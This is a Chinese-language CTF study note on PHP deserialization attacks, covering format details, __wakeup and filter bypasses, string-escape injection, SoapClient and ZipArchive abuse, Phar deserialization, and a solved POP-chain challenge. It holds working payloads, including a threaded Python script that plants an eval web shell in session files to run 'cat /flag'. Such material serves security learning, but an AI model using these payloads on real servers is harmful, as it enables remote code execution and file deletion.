PHP 反序列化学习笔记

作者:@kengwang


Serialize & Unserialize

数据类型 提示符 格式示例
字符串 s s:长度:"内容"
已转义字符串 S S:长度:"\xx\xx"
整数 i i:123
布尔值 b b:1 (true) / b:0 (false)
空值 N N;
数组 a a:大小:{...}
对象 O O:类名长度:"类名":成员数:{...}
引用 R R:序号

对象序列化示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Kengwang
{
public $name = "kengwang";
public $age = 18;
public $sex = true;
public $route = LearningRoute::Web;
public $tag = ["dino", "cdut", "chengdu"];
public $girlFriend = null;
private $pants = "red";
}

enum LearningRoute { case Web; case Pwn; case Misc; }

$kw = new Kengwang();
echo serialize($kw);
  • 序列化结果(格式化)
1
2
3
4
5
6
7
8
9
O:8:"Kengwang":7:{
s:4:"name";s:8:"kengwang";
s:3:"age";i:18;
s:3:"sex";b:1;
s:5:"route";E:17:"LearningRoute:Web";
s:3:"tag";a:3:{i:0;s:4:"dino";i:1;s:4:"cdut";i:2;s:7:"chengdu";}
s:10:"girlFriend";N;
s:15:" Kengwang pants";s:3:"red";
}
  • 非公有字段命名规则
    • private:%00类名%00属性名
    • protected:%00*%00属性名

魔术方法速览

方法 触发时机
__construct 实例化
__destruct 对象销毁
__sleep 序列化前
__wakeup 反序列化后
__toString 对象转字符串
__get / __set / __isset / __unset 不可访问属性
__invoke 对象当函数调用
__call / __callStatic 不可访问方法
__debugInfo var_dump/print_r
__clone 克隆完成
__set_state var_export
__autoload 类未定义

常见绕过技巧

非公有字段绕过(PHP ≥ 7.1)

  • 直接写 public 或手动改序列化字符串即可。

绕过 __wakeup(CVE-2016-7124)

  • 版本限制:PHP5 < 5.6.25,PHP7 < 7.0.10
  • 修改成员数大于实际即可跳过 __wakeup
1
O:4:"Dino":1:{s:4:"addr";s:3:"209";}   →  O:4:"Dino":114514:{s:4:"addr";s:3:"209";}

十六进制字符绕过

  • S:4:"\66\6c\61\67" 代替 s:4:"flag" 绕过关键字过滤。

例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class Read
{
public $name;

public function __wakeup()
{
if ($this->name == "flag")
{
echo "You did it!";
}
}
}


$str = '';
if (strpos($str, "flag") === false)
{
$obj = unserialize($str);
}
else
{
echo "You can't do it!";
}

这里检测了是否包含 flag 字符, 我们可以尝试使用 flag 的十六进制 \66\6c\61\67 来绕过, 构造以下:

1
'O:4:"Read":1:{s:4:"name";S:4:"\66\6c\61\67";}'

顺便贴一个 Python 脚本, 可以将字符串转换为 Hex

1
2
str = input('Enter a string: ')
print('\\' + str.encode('utf-8').hex('\\'))

引用(&)技巧

1
2
3
class A { public $a; public $b; }
$obj = new A();
$obj->a = &$obj->b;

正则绕过

有些时候我们会看到^O:\d+ 这种的正则表达式, 要求开头不能为对象反序列化

这种情况我们有以下绕过手段

  1. 由于\d只判断了是否为数字, 则可以在个数前添加+号来绕过正则表达式
  2. 将这个对象嵌套在其他类型的反序列化之中, 例如数组

当然, 第一种更佳. 因为若不只匹配开头则仍可以绕过

  • O:+4:"Dino":...+ 号绕过 ^O:\d+
  • 或嵌套在数组 / 字符串中。

字符逃逸

例如我们有如下过滤机制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

class Book
{
public $id = 114514;
public $name = "Kengwang 的学习笔记"; // 可控
public $path = "Kengwang 的学习笔记.md";
}

function filter($str)
{
return str_replace("'", "\\'", $str);
}

$exampleBook = new Book();
echo "[处理前]\n";
$ser = serialize($exampleBook);
echo $ser . "\n";
echo "[处理后]\n";
$ser = filter($ser);
echo $ser . "\n";
echo "[文件路径] \n";
$exampleBook = unserialize($ser);
echo $exampleBook->path . "\n";

此代码会将其中的单引号过滤成为转义+单引号, 此时字符串的长度会进行变化, 我们可以利用这一点使 name 中的东西溢出到 path 中.

我们构造恶意字符串时需要先将前面的双引号闭合,同时分号表示此变量结束. 在攻击变量结束之后我们需要用 ;} 结束当前的序列化, 会自动忽略掉这之后的序列化.

我们的每一个单引号会变成两个字符, 于是可以将我们的恶意字符给顶掉, 我们只需要提供 恶意字符串长度 个会被放大变成两倍的字符.

当然如果不是两倍, 我们可以灵活运用 + 来进行倍数配齐

例如我们需要恶意构造 ";s:4:"path";s:4:"flag";}s:4:"fake";s:34:, 长度为 41, 于是我们提供 41 个 '

最终给 name 的赋值为

1
Kengwang 的学习笔记'''''''''''''''''''''''''''''''''''''''''";s:4:"path";s:4:"flag";}s:4:"fake";s:34:

我们可以运行一下试试:

1
2
3
4
5
6
[处理前]
O:4:"Book":3:{s:2:"id";i:114514;s:4:"name";s:106:"Kengwang 的学习笔记'''''''''''''''''''''''''''''''''''''''''";s:4:"path";s:4:"flag";}s:4:"fake";s:34:";s:4:"path";s:27:"Kengwang 的学习笔记.md";}
[处理后]
O:4:"Book":3:{s:2:"id";i:114514;s:4:"name";s:106:"Kengwang 的学习笔记\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'";s:4:"path";s:4:"flag";}s:4:"fake";s:34:";s:4:"path";s:27:"Kengwang 的学习笔记.md";}
[文件路径]
flag

可以看到 path 被替换成了 flag

当然有字符增加就会有字符减少, 对于字符减少, 我们假设有如下情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

class Book
{
public $id = 1919810;
public $name = "Kengwang 的学习笔记"; // 可控
public $description = "The WORST Web Security Leaning Note"; // 可控
public $path = "Kengwang 的学习笔记.md";
}

function filter($str)
{
return str_replace("'", "", $str);
}

$exampleBook = new Book();
echo "[处理前]\n";
$ser = serialize($exampleBook);
echo $ser . "\n";
echo "[处理后]\n";
$ser = filter($ser);
echo $ser . "\n";
echo "[文件路径] \n";
$exampleBook = unserialize($ser);
echo $exampleBook->path . "\n";

这里把反引号给过滤掉了, 我们先拿到正常的序列化后的串

1
O:4:"Book":4:{s:2:"id";i:114514;s:4:"name";s:24:"Kengwang 的学习笔记";s:11:"description";s:35:"The WORST Web Security Leaning Note";s:4:"path";s:27:"Kengwang 的学习笔记.md";}

我们需要让 ";s:11:"description";s:35: 被吞掉作为 name 变量的值, description 的前引号会将其闭合, 此后 description 中的就会逃逸出成为反序列化串, 于是我们在 name 中填入要被吞掉的字符数目个 ', 于是尝试

name 赋值为 Kengwang Note''''''''''''''''''''''''''

description 赋值为 ;s:4:"path";s:4:"flag";s:11:"description";s:0:"";}s:0:"

得到结果如下

1
2
3
4
5
6
[处理前]
O:4:"Book":4:{s:2:"id";i:114514;s:4:"name";s:39:"Kengwang Note''''''''''''''''''''''''''";s:11:"description";s:55:";s:4:"path";s:4:"flag";s:11:"description";s:0:"";}s:0:"";s:4:"path";s:27:"Kengwang 的学习 笔记.md";}
[处理后]
O:4:"Book":4:{s:2:"id";i:114514;s:4:"name";s:39:"Kengwang Note";s:11:"description";s:55:";s:4:"path";s:4:"flag";s:11:"description";s:0:"";}s:0:"";s:4:"path";s:27:"Kengwang 的学习笔记.md";}
[文件路径]
flag

Fast Destruct

  • 少写 } 或减少成员数,提前触发 __destruct

利用不完整类绕过序列化回旋镖

当存在 serialize(unserialize($x)) != $x 这种很神奇的东西时, 我们可以利用不完整类 __PHP_Incomplete_Class 来进行处理

当我们尝试反序列化到一个不存在的类时, PHP 会使用 __PHP_Incomplete_Class_Name 这个追加的字段来进行存储

我们于是可以尝试自己构造一个不完整类

1
2
3
4
<?php
$raw = 'O:1:"A":2:{s:1:"a";s:1:"b";s:27:"__PHP_Incomplete_Class_Name";s:1:"F";}';
$exp = 'O:1:"F":1:{s:1:"a";s:1:"b";}';
var_dump(serialize(unserialize($raw)) == $exp); // true

这样就可以绕过了

更近一步, 我们可以通过这个让一个对象被调用后凭空消失, 只需要手动构造无 __PHP_Incomplete_Class_Name 的不完整对象

PHP 会先把他的属性给创建好, 但是在创建好最后一个属性后并未发现 __PHP_Incomplete_Class_Name, 于是会将前面创建的所有的属性回收并引发 __destruct

当然, 要达成这种在反序列化后的变量还存在的时候引发 destruct, 还有下面这一种方法


原生类利用

我们可以通过脚本来获取到这些类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
echo $class . '::' . $method . "\n";
}
}
}

SoapClient(需开启 soap 扩展)

PHP 中默认未启用此扩展, 需要修改 php.ini, 取消 extension=soap 前的注释

SoapClient 可以进行 HTTP/HTTPS 的请求, 但是不会输出服务端输出的内容. 不过, 我们仍然可以利用这个来进行内网渗透.

我们通过上面的脚本可以找到 SoapClient 类中存在 SoapClient::__call, 当我们调用一个不存在的方法时会转发到此方法, 同时请求给服务端

对于 SoapClient 的反序列化, 我们可以控制很多地方的参数,

  • location (SoapClientlocation),这样就可以发送请求到指定服务器
  • uri (SoapClienturi), 由于这一串最后会到 Header 里的 SOAPAction, 我们可以在这里注入换行来新建 Header 项, 注意这里的会自动给传入的内容包裹上双引号
  • useragent (SoapClient_user_agent), 由于 User-Agent 段在 Content-Type 的上方, 我们可以通过对 useragent 换行来覆盖掉默认的 text/xml 的请求类型. 由于默认是 POST 请求, 结合起来我们就可以对指定服务器发送任意 POST 请求.

Exception / Error

如果 php 文件没有禁用报错输出, 我们可以利用 Exception 的打印时会调用 __toString 来打印报错信息, 于是我们便可以在报错信息 (Exception Message) 中进行 XSS 注入.

同时也可以绕过哈希比较, 当两个报错类, 一个 Exception, 一个为 Error, 虽然他们两个对象类型不等, 但经过 __toString 后都一致, 可以利用他来绕过 PHP 中的哈希比较

ZipArchive

ZipArchive 中存在 open 方法, 参数为 (string $filename, int $flags=0), 第一个为文件名, 第二个为打开的模式, 有以下几种模式

1
2
3
4
5
ZipArchive::OVERWRITE	总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除
ZipArchive::CREATE 如果不存在则创建一个zip压缩包
ZipArchive::RDONLY 只读模式打开压缩包
ZipArchive::EXCL 如果压缩包已经存在,则出错
ZipArchive::CHECKCONS 对压缩包执行额外的一致性检查,如果失败则显示错误

我们可以发现当 flagoverride (8) 时, 会将目标文件先进行删除, 之后由于并没有进行保存操作, 于是文件就被删除了

ByteCTF 2019 - EZCMS 中有出现过

其他

  • SQLite3 创建文件
  • DirectoryIterator / FilesystemIterator / GlobIterator 遍历目录
  • SplFileObject 读取首行
  • SimpleXMLElement + XXE
  • Reflection系列 反射
  • 闭包 (Closure) 代表匿名函数

Phar 反序列化

Phar 会以序列化的方式存储 meta-data (manifest), 当我们使用 phar:// 协议读取 Phar 文件的时候, PHP 会将其反序列化. 几乎所有的文件读取函数都收到了此影响,

参见 https://paper.seebug.org/680/ 以及 https://blog.zsxsoft.com/post/38

我们需要在本地环境的 php.ini 中将 ;phar.readonly = On 改为 phar.readonly = Off

  • 受影响函数:includefile_get_contentscopyfopen

本地生成恶意 phar

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class D1no{
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new D1no();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

之后我们就可以将此文件上传到服务器, 再通过文件操作函数调用, 例如 phar://test.phar/test 来让他打开 phar 文件

当然在上面引用的两篇文章中可以看到还有很多意想不到的地方也受到了影响

当然, 如果存在某些校验, 我们也可以通过一些手段绕过.

如果不允许 phar 出现在文件路径开头, 我们可以套上其他的协议: compress.bzip://, compress.bzip2://, compress.zlib://, php://filter/resource=


7. SESSION 反序列化

这里我们主要利用 session.upload_progress 来进行利用.

我们要先知道, 如果没有特别配置的话, session 通常存储在服务器上的某个文件夹中, 并且文件名通常为 sess_{你的SESSION_ID}

由于他存储时时通过反序列化, 所以原本的字符串会被保留. 于是我们可以注入 PHP 代码, 再通过文件包含执行他

利用条件:

  1. 可以进行任意文件包含 (或允许包含 session 存储文件)
  2. 知道session文件存放路径,可以尝试默认路径
  3. 具有读取和写入session文件的权限

这里我们就抄一下 H3 佬的一个 exp:

若服务器存在文件 test.php:

1
2
3
4
<?php
$b = $_GET['file'];
include "$b";
?>

我们可以使用类似条件竞争的方法来进行, 下面是 Python, 我加一点点注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
利用脚本

import io
import requests
import threading
sessid = 'KW'
data = {"cmd":"system('cat /flag');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50) # 创建 dummy 数据
resp = session.post( 'http://[ip]/test.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('KW.txt',f)}, cookies={'PHPSESSID': sessid} ) # 注入恶意代码到存储的 SESSION 中
def read(session):
while True:
resp = session.post('http://[ip]/test.php?file=session/sess_'+sessid,data=data) # 包含 SESSION 文件, 执行恶意代码
if 'tgao.txt' in resp.text:
print(resp.text)
event.clear()
break
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()

如果是反序列化的话, 我们也可以进行反序列化注入

如果我们的文件名可控, 我们在之前放上 | 表示前面的是键名, 后再写入恶意代码. 注意引号要进行转义

便可有exp


8. 例题:2023 SWPU NSS UnS3rialize

8.1 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
highlight_file(__FILE__);
error_reporting(0);

class NSS {
public $cmd;
function __invoke() { system($this->cmd); }
function __wakeup() { $this->cmd = "echo Welcome to NSSCTF"; }
}

class C {
public $whoami;
function __get($k) { return ($this->whoami)(); }
}

class T {
public $sth;
function __toString() { return $this->sth->var; }
}

class F {
public $user = 'nss', $passwd = 'ctf', $notes;
function __destruct() {
if ($this->user === 'SWPU' && $this->passwd === 'NSS') {
echo $this->notes;
}
}
}

isset($_GET['ser'])
? unserialize(base64_decode($_GET['ser']))
: print("Let's do some deserialization :)");

8.2 POP 链

1
2
3
4
F::__destruct()
→ T::__toString()
→ C::__get()
→ NSS::__invoke()

8.3 构造脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class NSS { public $cmd = 'cat /flag'; }
class C { public $whoami; }
class T { public $sth; }
class F { public $user='SWPU', $passwd='NSS', $notes; }

$f = new F();
$t = new T();
$c = new C();
$nss = new NSS();

$c->whoami = $nss;
$t->sth = $c;
$f->notes = $t;

echo base64_encode(serialize($f));